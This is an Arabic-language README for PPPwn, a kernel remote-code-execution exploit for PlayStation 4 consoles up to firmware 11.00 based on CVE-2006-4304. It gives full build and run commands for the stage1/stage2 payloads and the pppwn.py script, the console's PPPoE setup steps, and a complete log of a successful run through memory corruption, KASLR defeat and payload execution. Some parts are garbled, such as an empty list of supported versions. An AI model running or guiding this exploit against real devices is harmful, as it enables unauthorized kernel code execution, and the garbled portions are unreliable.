
PPPwn - PlayStation 4 PPPoE RCE
PPPwn هو استغلال لتنفيذ التعليمات البرمجية عن بُعد على مستوى النواة لأجهزة PlayStation 4 حتى إصدار FW 11.00. وهو استغلال لإثبات المفهوم لـ CVE-2006-4304 تم الإبلاغ عنه بمسؤولية إلى PlayStation.
النسخ المدعومة هي:
الاستغلال يطبع فقط PPPwned على جهاز PS4 الخاص بك كإثبات للمفهوم. ولتشغيل Mira أو ما شابه ذلك من مشغلات الـ homebrew، يجب تعديل الحمولة stage2.bin.
Bridged Adapter كمحول شبكة لاستخدام منفذ Ethernet في الجهاز الافتراضي.على جهاز الكمبيوتر الخاص بك، استنسخ المستودع:
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
انتقل إلى مجلد المستودع المستنسخ:
cd PPPwn
ثبّت المتطلبات:
sudo pip install -r requirements.txt
قم بتجميع الحمولات:
make -C stage1 FW=1100 clean && make -C stage1 FW=1100
make -C stage2 FW=1100 clean && make -C stage2 FW=1100
بالنسبة للإصدارات الأخرى، مثل FW 9.00، مرّر FW=900.
لا تقم بتشغيل الاستغلال الآن (لا تضغط Enter بعد) ولكن جهّز هذا الأمر في موجه الأوامر (انظر ifconfig لتحديد الواجهة الصحيحة):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
بالنسبة للإصدارات الأخرى، مثل FW 9.00، مرّر --fw=900.
على جهاز PS4 الخاص بك:
انتقل إلى Settings ثم Network
اختر Set Up Internet connection واختر Use a LAN Cable
اختر إعداد Custom واختر PPPoE لـ IP Address Settings
أدخل أي قيمة لـ PPPoE User ID و PPPoE Password
اختر Automatic لكل من DNS Settings و MTU Settings
اختر Do Not Use لـ Proxy Server
انتظر دائمًا حتى تظهر رسالة "Cannot connect to network: (NW-31274-7)" على شاشة الجهاز قبل محاولة حقن PPPoE مرة أخرى.
إذا فشل الاستغلال أو تعطل جهاز PS4، يمكنك تخطي إعداد الإنترنت والنقر ببساطة على Test Internet Connection. قم بإنهاء سكربت pppwn.py وتشغيله مرة أخرى على جهاز الكمبيوتر، ثم انقر على Test Internet Connection على جهاز PS4: دائمًا في نفس الوقت.
إذا نجح الاستغلال، يجب أن ترى مخرجات مشابهة لما يلي، ويجب أن ترى Cannot connect to network. متبوعة بـ PPPwned مطبوعة على جهاز PS4، أو العكس.
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin
[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done
[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141
[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000
[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!
لن يتم تجميع الكود على Apple Silicon ويتطلب بنية AMD64.
يوجد حل بديل باستخدام docker لبناء ملفات bin المطلوبة.
استنسخ هذا المستودع إلى نظام Mac الخاص بك، ثم من مجلد المستودع شغّل ./build-macarm.sh. سيؤدي ذلك إلى بناء الملفات الثنائية لإصدار PS4 FW 1100 ووضع الملفات اللازمة في المجلدات الصحيحة. لبناء الملفات الثنائية لإصدار مختلف، أي 900، شغّل الأمر كما يلي: ./build-macarm.sh 900. بعد البناء، انسخ هيكل المجلدات هذا إلى جهاز Linux الافتراضي ونفّذ كما هو موضح أعلاه.
تم اختبار ذلك باستخدام VMware Fusion 13.5.1، مع جهاز افتراضي ضيف بنظام Ubuntu 24.04، والجهاز المضيف بنظام MacOS 14.4.1.
الآن، اضغط في الوقت نفسه على زر 'X' في وحدة التحكم عند Test Internet Connection وعلى زر 'Enter' في لوحة المفاتيح (على الكمبيوتر الذي لديك فيه سكربت Python جاهزًا للتشغيل).